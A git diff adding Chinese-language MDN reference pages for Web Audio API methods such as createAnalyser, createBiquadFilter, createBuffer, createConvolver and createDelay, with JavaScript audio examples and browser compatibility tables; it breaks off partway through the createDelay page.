-lfo.connect(gain.gain);
-
-// connect the oscillator that will produce audio to the gain
-oscillator.connect(gain);
-
-// connect the gain to the destination so we hear sound
-gain.connect(audioCtx.destination);
-
-// start the oscillator that will produce audio
-oscillator.start();
-
-// start the oscillator that will modify the gain value
-lfo.start();
- -

Parameters

- -
-
Destination
-
The {{ domxref("AudioParam") }} you are connecting to.
-
Output (optional)
-
An index describing which output of the current AudioNode you want to connect to the {{ domxref("AudioParam") }}. The index numbers are defined according to the number of output channels (see Audio channels.)  If this parameter is out-of-bound, an INDEX_SIZE_ERR exception is thrown.
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioNode-connect-void-AudioParam-destination-unsigned-long-output', 'connect(AudioParam)')}}{{Spec2('Web Audio API')}} 
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
connect(AudioParam){{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
connect(AudioParam){{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

See also

- - diff --git a/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html b/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html new file mode 100644 index 0000000000..2d00a8a100 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html @@ -0,0 +1,154 @@ +--- +title: AudioContext.createAnalyser() +slug: Web/API/AudioContext/createAnalyser +translation_of: Web/API/BaseAudioContext/createAnalyser +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的createAnalyser()方法能创建一个{{ domxref("AnalyserNode") }},可以用来获取音频时间和频率数据,以及实现数据可视化。

+
+ +
+

注意:关于该节点的更多信息,请查看{{domxref("AnalyserNode")}}

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var analyser = audioCtx.createAnalyser();
+ +

返回值

+ +

{{domxref("AnalyserNode")}}对象

+ +

例子

+ +

下面的例子展示了AudioContext创建分析器节点的基本用法,然后用requestAnimationFrame()来反复获取时域数据,并绘制出当前音频输入的“示波器风格”输出。更多完整例子请查看Voice-change-O-matic demo (中app.js的128–205行代码)

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+  ...
+
+analyser.fftSize = 2048;
+var bufferLength = analyser.fftSize;
+var dataArray = new Uint8Array(bufferLength);
+analyser.getByteTimeDomainData(dataArray);
+
+// draw an oscilloscope of the current audio source
+
+function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i < bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createAnalyser-AnalyserNode', 'createAnalyser()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html b/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html new file mode 100644 index 0000000000..fa5884ad71 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html @@ -0,0 +1,139 @@ +--- +title: AudioContext.createBiquadFilter() +slug: Web/API/AudioContext/createBiquadFilter +tags: + - API + - EQ + - Web Audio API + - 参考 + - 方法 + - 滤波器 +translation_of: Web/API/BaseAudioContext/createBiquadFilter +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }} 的createBiquadFilter() 方法创建了一个  {{ domxref("BiquadFilterNode") }}, 它提供了一个可以指定多个不同的一般滤波器类型的双二阶滤波器。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var biquadFilter = audioCtx.createBiquadFilter();
+ +

返回

+ +

一个 {{domxref("BiquadFilterNode")}}.

+ +

示例

+ +

这个例子展示了一个利用AudioContext 创建四项滤波器节点( Biquad filter node)的例子。想要查看完整工作的示例,请查看我们的For voice-change-o-matic 样例 (也可以查看  源码 ).

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+//set up the different audio nodes we will use for the app
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+var convolver = audioCtx.createConvolver();
+
+// connect the nodes together
+
+source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+biquadFilter.connect(convolver);
+convolver.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+// Manipulate the Biquad filter
+
+biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;
+ +

规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createBiquadFilter-BiquadFilterNode', 'createBiquadFilter()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0 {{property_prefix("webkit")}}
+ 22
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

 

+ +

相关

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html b/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html new file mode 100644 index 0000000000..2d29213737 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html @@ -0,0 +1,181 @@ +--- +title: AudioContext.createBuffer() +slug: Web/API/AudioContext/createBuffer +tags: + - 创建音频片段 + - 接口 + - 方法 + - 音频环境 +translation_of: Web/API/BaseAudioContext/createBuffer +--- +

音频环境{{ domxref("AudioContext") }} 接口的 createBuffer() 方法用于新建一个空白的 {{ domxref("AudioBuffer") }} 对象,以便用于填充数据,通过 {{ domxref("AudioBufferSourceNode") }} 播放。

+ +

更多关于音频片段(Audio Buffer)的细节,请参考{{ domxref("AudioBuffer") }}页面。

+ +
+

注意: createBuffer() 曾被用于接收压缩后的音频数据,并返回被解码的音频,但是这项功能现在已经被移除,因为所有的解码工作应当在主线程中被完成,createBuffer() 阻塞了其他代码的执行。异步方法 decodeAudioData() 能够完成相同的工作 —— 传入一个压缩过的音频(如MP3格式的文件),并直接返回一个可以通过 {{ domxref("AudioBufferSourceNode") }} 播放的 {{ domxref("AudioBuffer") }} 。因此播放诸如MP3等格式的压缩音频时,你应当使用 decodeAudioData() 方法。

+
+ +

语法

+ +
AudioContext.createBuffer(Number numOfChannels, Number length, Number sampleRate);
+ +

参数

+ +
+

注意:如果想深入了解 audio buffers 是如何工作的、这些参数的具体含义,请阅读这篇简短的指南: Audio buffers: frames, samples and channels(英)。

+
+ +
+
numOfChannels
+
一个定义了 buffer 中包含的声频通道数量的整数。
+ 一个标准的实现必须包含至少32个声频通道。
+
 
+
length
+
一个代表 buffer 中的样本帧数的整数。
+
sampleRate
+
线性音频样本的采样率,即每一秒包含的关键帧的个数。实现过程中必须支持 22050~96000的采样率。
+
+ +

 

+ +

返回值

+ +

一个 {{domxref("AudioBuffer")}}。

+ +

示例

+ +

首先,我们将从几个浅显易懂的示例入手,来解释如何使用这些参数:

+ +
var audioCtx = new AudioContext();
+var buffer = audioCtx.createBuffer(2, 22050, 44100);
+ +

如果你这样调用,你将会得到一个立体声(两个声道)的音频片段(Buffer),当它在一个频率为44100赫兹(这是目前大部分声卡处理声音的频率)的音频环境({{ domxref("AudioContext") }})中播放的时候,会持续0.5秒:22050帧 / 44100赫兹 = 0.5 秒。

+ +
var audioCtx = new AudioContext();
+var buffer = audioCtx.createBuffer(1, 22050, 22050);
+ +

如果你这样调用,你将会得到一个单声道的音频片段(Buffer),当它在一个频率为44100赫兹的音频环境({{ domxref("AudioContext") }})中播放的时候,将会被自动按照44100赫兹*重采样*(因此也会转化为44100赫兹的片段),并持续1秒:44100帧 / 44100赫兹 = 1秒。

+ +
+

注意: 音频重采样与图片的缩放非常类似:比如你有一个16 x 16的图像,但是你想把它填充到一个32 x 32大小的区域,你就要对它进行缩放(重采样)。得到的结果会是一个叫低品质的(图像会模糊或者有锯齿形的边缘,这取决于缩放采用的算法),但它却是能将原图形缩放,并且缩放后的图像占用空间比相同大小的普通图像要小。重新采样的音频道理相同——你会介于一些空间,但事实上你无法产出高频率的声音(高音区)。

+
+ +

现在让我们来看一个更加复杂的示例,我们将创建一个时长2秒的音频片段,并用白噪声填充它,之后通过一个 音频片段源节点({{ domxref("AudioBufferSourceNode") }}) 播放。代码中的注释应该能充分解释发生了什么。你可以 在线演示 ,或者 查看源代码

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// 立体声
+var channels = 2;
+// 创建一个 采样率与音频环境(AudioContext)相同的 时长2秒的 音频片段。
+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // 使用白噪声填充;
+  // 就是 -1.0 到 1.0 之间的随机数
+  for (var channel = 0; channel < channels; channel++) {
+   // 这允许我们读取实际音频片段(AudioBuffer)中包含的数据
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i < frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio needs to be in [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // 获取一个 音频片段源节点(AudioBufferSourceNode)。
+  // 当我们想播放音频片段时,我们会用到这个源节点。
+  var source = audioCtx.createBufferSource();
+  // 把刚才生成的片段加入到 音频片段源节点(AudioBufferSourceNode)。
+  source.buffer = myArrayBuffer;
+  // 把 音频片段源节点(AudioBufferSourceNode) 连接到
+  // 音频环境(AudioContext) 的终节点,这样我们就能听到声音了。
+  source.connect(audioCtx.destination);
+  // 开始播放声源
+  source.start();
+}
+ +

规范

+ + + + + + + + + + + + + + +
规范现状备注
{{SpecName('Web Audio API', '#widl-AudioContext-createBuffer-AudioBuffer-unsigned-long-numberOfChannels-unsigned-long-length-float-sampleRate', 'createBuffer()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0 {{property_prefix("webkit")}}
+ 22
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html b/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html new file mode 100644 index 0000000000..5244513312 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html @@ -0,0 +1,150 @@ +--- +title: AudioContext.createBufferSource() +slug: Web/API/AudioContext/createBufferSource +tags: + - API + - 音源 + - 音频源 + - 音频节点 +translation_of: Web/API/BaseAudioContext/createBufferSource +--- +

{{ APIRef("Web Audio API") }}

+ +
+

createBufferSource() 方法用于创建一个新的{{ domxref("AudioBufferSourceNode") }}接口, 该接口可以通过{{ domxref("AudioBuffer") }} 对象来播放音频数据. {{ domxref("AudioBuffer") }}对象可以通过{{domxref("AudioContext.createBuffer")}} 来创建或者通过 {{domxref("AudioContext.decodeAudioData")}}成功解码音轨后获取.

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var source = audioCtx.createBufferSource();
+ +

返回

+ +

一个{{domxref("AudioBufferSourceNode")}}对象.

+ +

例子

+ +

在这个例子中, 我们将会创建一个2秒的缓冲器,并用白噪音填充它, 然后通过{{ domxref("AudioBufferSourceNode") }}来播放它. 

+ +
+

Note: You can also run the code live, or view the source.

+
+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Stereo
+var channels = 2;
+// Create an empty two second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  //just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+   // This gives us the actual ArrayBuffer that contains the data
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i < frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio needs to be in [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // Get an AudioBufferSourceNode.
+  // This is the AudioNode to use when we want to play an AudioBuffer
+  var source = audioCtx.createBufferSource();
+  // set the buffer in the AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+  // connect the AudioBufferSourceNode to the
+  // destination so we can hear the sound
+  source.connect(audioCtx.destination);
+  // start the source playing
+  source.start();
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createBufferSource-AudioBufferSourceNode', 'createBufferSource()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html b/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html new file mode 100644 index 0000000000..281dcddfe7 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html @@ -0,0 +1,143 @@ +--- +title: AudioContext.createChannelMerger() +slug: Web/API/AudioContext/createChannelMerger +tags: + - API + - Audio + - AudioContext + - Audio_Chinese +translation_of: Web/API/BaseAudioContext/createChannelMerger +--- +

{{ APIRef("Web Audio API") }}

+ +
+

AudioContext.createChannelMerger()方法,会创建一个ChannelMergerNode,后者可以把多个音频流的通道整合到一个音频流。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var merger = audioCtx.createChannelMerger(2);
+ +

参数

+ +
+
numberOfInputs
+
通道输入音频流的数量,输出流将包含这个数量的通道。默认值6。
+
+ +

返回值

+ +

一个 {{domxref("ChannelMergerNode")}}.

+ +

(举个)栗(例)子

+ +

下面的例子展示了如何分离立体音轨(就是一段音乐),处理使左右声道不同。使用的时候,需要指定AudioNode.connect(AudioNode)方法的第二个和第三个参数,分别用来指定通道链接来源的索引和输出的索引。

+ +
var ac = new AudioContext();
+ac.decodeAudioData(someStereoBuffer, function(data) {
+ var source = ac.createBufferSource();
+ source.buffer = data;
+ var splitter = ac.createChannelSplitter(2);
+ source.connect(splitter);
+ var merger = ac.createChannelMerger(2);
+
+ // Reduce the volume of the left channel only
+ var gainNode = ac.createGain();
+ gainNode.gain.value = 0.5;
+ splitter.connect(gainNode, 0);
+
+ // Connect the splitter back to the second input of the merger: we
+ // effectively swap the channels, here, reversing the stereo image.
+ gainNode.connect(merger, 0, 1);
+ splitter.connect(merger, 1, 0);
+
+ var dest = ac.createMediaStreamDestination();
+
+ // Because we have used a ChannelMergerNode, we now have a stereo
+ // MediaStream we can use to pipe the Web Audio graph to WebRTC,
+ // MediaRecorder, etc.
+ merger.connect(dest);
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createChannelMerger-ChannelMergerNode-unsigned-long-numberOfInputs', 'createChannelMerger()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

相关页面

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html b/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html new file mode 100644 index 0000000000..f46f5be2c5 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html @@ -0,0 +1,138 @@ +--- +title: AudioContext.createChannelSplitter() +slug: Web/API/AudioContext/createChannelSplitter +translation_of: Web/API/BaseAudioContext/createChannelSplitter +--- +

{{ APIRef("Web Audio API") }}

+ +
+

The createChannelSplitter() method of the {{ domxref("AudioContext") }} Interface is used to create a {{domxref("ChannelSplitterNode")}}, which is used to access the individual channels of an audio stream and process them separately.

+
+ +

Syntax

+ +
var audioCtx = new AudioContext();
+var splitter = audioCtx.createChannelSplitter(2);
+ +

参数

+ +
+
numberOfOutputs
+
你期待将输入音频分割成的声道道数目; 当不传入参数时,默认为6
+
+ +

Returns

+ +

一个 {{domxref("ChannelSplitterNode")}}.

+ +

Example

+ +

下面这个简单的例子告诉你怎样分割一个双声道音轨 (或者说一段音乐), 以及对于左右声道不同的处理. 要使用它们, 你需要用到{{domxref("AudioNode.connect(AudioNode)") }}方法的第二个和第三个参数, 他们会指定链接声道源的序号和链接到的声道序号.

+ +
var ac = new AudioContext();
+ac.decodeAudioData(someStereoBuffer, function(data) {
+ var source = ac.createBufferSource();
+ source.buffer = data;
+ var splitter = ac.createChannelSplitter(2);
+ source.connect(splitter);
+ var merger = ac.createChannelMerger(2);
+
+ // Reduce the volume of the left channel only
+ var gainNode = ac.createGain();
+ gainNode.gain.value = 0.5;
+ splitter.connect(gainNode, 0);
+
+ // Connect the splitter back to the second input of the merger: we
+ // effectively swap the channels, here, reversing the stereo image.
+ gainNode.connect(merger, 0, 1);
+ splitter.connect(merger, 1, 0);
+
+ var dest = ac.createMediaStreamDestination();
+
+ // Because we have used a ChannelMergerNode, we now have a stereo
+ // MediaStream we can use to pipe the Web Audio graph to WebRTC,
+ // MediaRecorder, etc.
+ merger.connect(dest);
+});
+ +

规格

+ + + + + + + + + + + + + + +
规格状态注释
{{SpecName('Web Audio API', '#widl-AudioContext-createChannelSplitter-ChannelSplitterNode-unsigned-long-numberOfOutputs', 'createChannelSplitter()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html b/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html new file mode 100644 index 0000000000..2cbe395edc --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html @@ -0,0 +1,131 @@ +--- +title: AudioContext.createConvolver() +slug: Web/API/AudioContext/createConvolver +translation_of: Web/API/BaseAudioContext/createConvolver +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的方法createConvolver()能创建一个{{ domxref("ConvolverNode") }},通常用来对你的音频应用混响效果。在 Convolution规范定义 中查看更多信息。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var convolver = audioCtx.createConvolver();
+ +

返回值

+ +

{{domxref("ConvolverNode")}}对象。

+ +

例子

+ +

下面的例子展示了一个 AudioContext 创建一个 混响器节点 的基本使用方法。基本前提是你创建一个包含声音样本的 AudioBuffer 用作混响环境 (称之为脉冲响应,) 和在混响器中应用。 下面的例子使用了一个简短的示例音乐厅人群效果,所以混响效果应用深度和回声。

+ +

更多完整例子请查看Voice-change-O-matic demo (中app.js的代码)。

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var convolver = audioCtx.createConvolver();
+
+  ...
+
+// grab audio track via XHR for convolver node
+
+var soundSource, concertHallBuffer;
+
+ajaxRequest = new XMLHttpRequest();
+ajaxRequest.open('GET', 'concert-crowd.ogg', true);
+ajaxRequest.responseType = 'arraybuffer';
+
+ajaxRequest.onload = function() {
+  var audioData = ajaxRequest.response;
+  audioCtx.decodeAudioData(audioData, function(buffer) {
+      concertHallBuffer = buffer;
+      soundSource = audioCtx.createBufferSource();
+      soundSource.buffer = concertHallBuffer;
+    }, function(e){"Error with decoding audio data" + e.err});
+}
+
+ajaxRequest.send();
+
+  ...
+
+convolver.buffer = concertHallBuffer;
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createConvolver-ConvolverNode', 'createConvolver()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html b/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html new file mode 100644 index 0000000000..b8e502758d --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html @@ -0,0 +1,213 @@ +--- +title: AudioContext.createDelay() +slug: Web/API/AudioContext/createDelay +translation_of: Web/API/BaseAudioContext/createDelay +--- +

{{ APIRef("Web Audio API") }}

+ +
+

  createDelay() 是  {{ domxref("AudioContext") }}   的一个方法,作用是将输入音频信号延迟一定时间。(比如可以实现 对着话筒说句话,然后几秒后 这句话从音响里播放出来)

+ +

 

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var synthDelay = audioCtx.createDelay(maxDelayTime);
+ +

参数

+ +
+
maxDelayTime
+
设置最大允许延迟的时间,以“秒”为单位
+
+ +

返回

+ +

A {{domxref("DelayNode")}}. The default {{domxref("DelayNode.delayTime")}} if no parameter is passed to createDelay() is 0 seconds.

+ +

以上是原文,大意是返回延时时间,没有设置时默认是0

+ +

 

+ +

示例

+ +

首先是中文版的简洁的示例,这个例子中 话筒里接收到的声音 会延迟3秒 从音响中播放

+ +
window.AudioContext = window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext;
+
+try {//音频相关api
+    var audioContext = new window.AudioContext();
+    var synthDelay = audioContext.createDelay(5.0);
+} catch (e) {
+    alert("你浏览器不支持");
+}
+
+
+var error = function (error) {alert("有错误"); };
+
+//以下是获取麦克风
+if (navigator.getUserMedia) { //标准api
+ navigator.getUserMedia({ "audio": true },
+ function (stream) {
+ micto(stream);    //具体工作
+                   }, error);
+}else if(navigator.webkitGetUserMedia) {   //webkit api
+ navigator.webkitGetUserMedia({audio:true, video:  false },
+ function (stream) {
+  micto(stream); //具体工作
+                   }, error);
+ }else if (navigator.mozGetUserMedia) {  //火狐 api
+ navigator.mozGetUserMedia({ "audio": true },
+ function (stream) {
+  micto(stream);//具体工作
+                   }, error);
+ }else if (navigator.msGetUserMedia) { //ie api
+ navigator.msGetUserMedia({ "audio": true },
+ function (stream) {
+  micto(stream);//具体工作
+                   }, error);
+ } else {
+   alert("您的浏览器版不支持这个api");
+}
+
+
+
+
+
+ var micto = function(stream) {
+
+  synthDelay.delayTime.value = 3.0;   //延迟3秒
+
+  var source = audioContext.createMediaStreamSource(stream);
+
+  source.connect(synthDelay);
+
+  synthDelay.connect(audioContext.destination);
+
+      }
+ 
+ +

 

+ +

 以下是英文版示例

+ +

We have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code). If you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time.

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var synthDelay = audioCtx.createDelay(5.0);
+
+  ...
+
+var synthSource;
+
+playSynth.onclick = function() {
+  synthSource = audioCtx.createBufferSource();
+  synthSource.buffer = buffers[2];
+  synthSource.loop = true;
+  synthSource.start();
+  synthSource.connect(synthDelay);
+  synthDelay.connect(destination);
+  this.setAttribute('disabled', 'disabled');
+}
+
+stopSynth.onclick = function() {
+  synthSource.disconnect(synthDelay);
+  synthDelay.disconnect(destination);
+  synthSource.stop();
+  playSynth.removeAttribute('disabled');
+}
+
+...
+
+var delay1;
+rangeSynth.oninput = function() {
+delay1 = rangeSynth.value;
+synthDelay.delayTime.value = delay1;
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createDelay-DelayNode-double-maxDelayTime', 'createDelay()')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
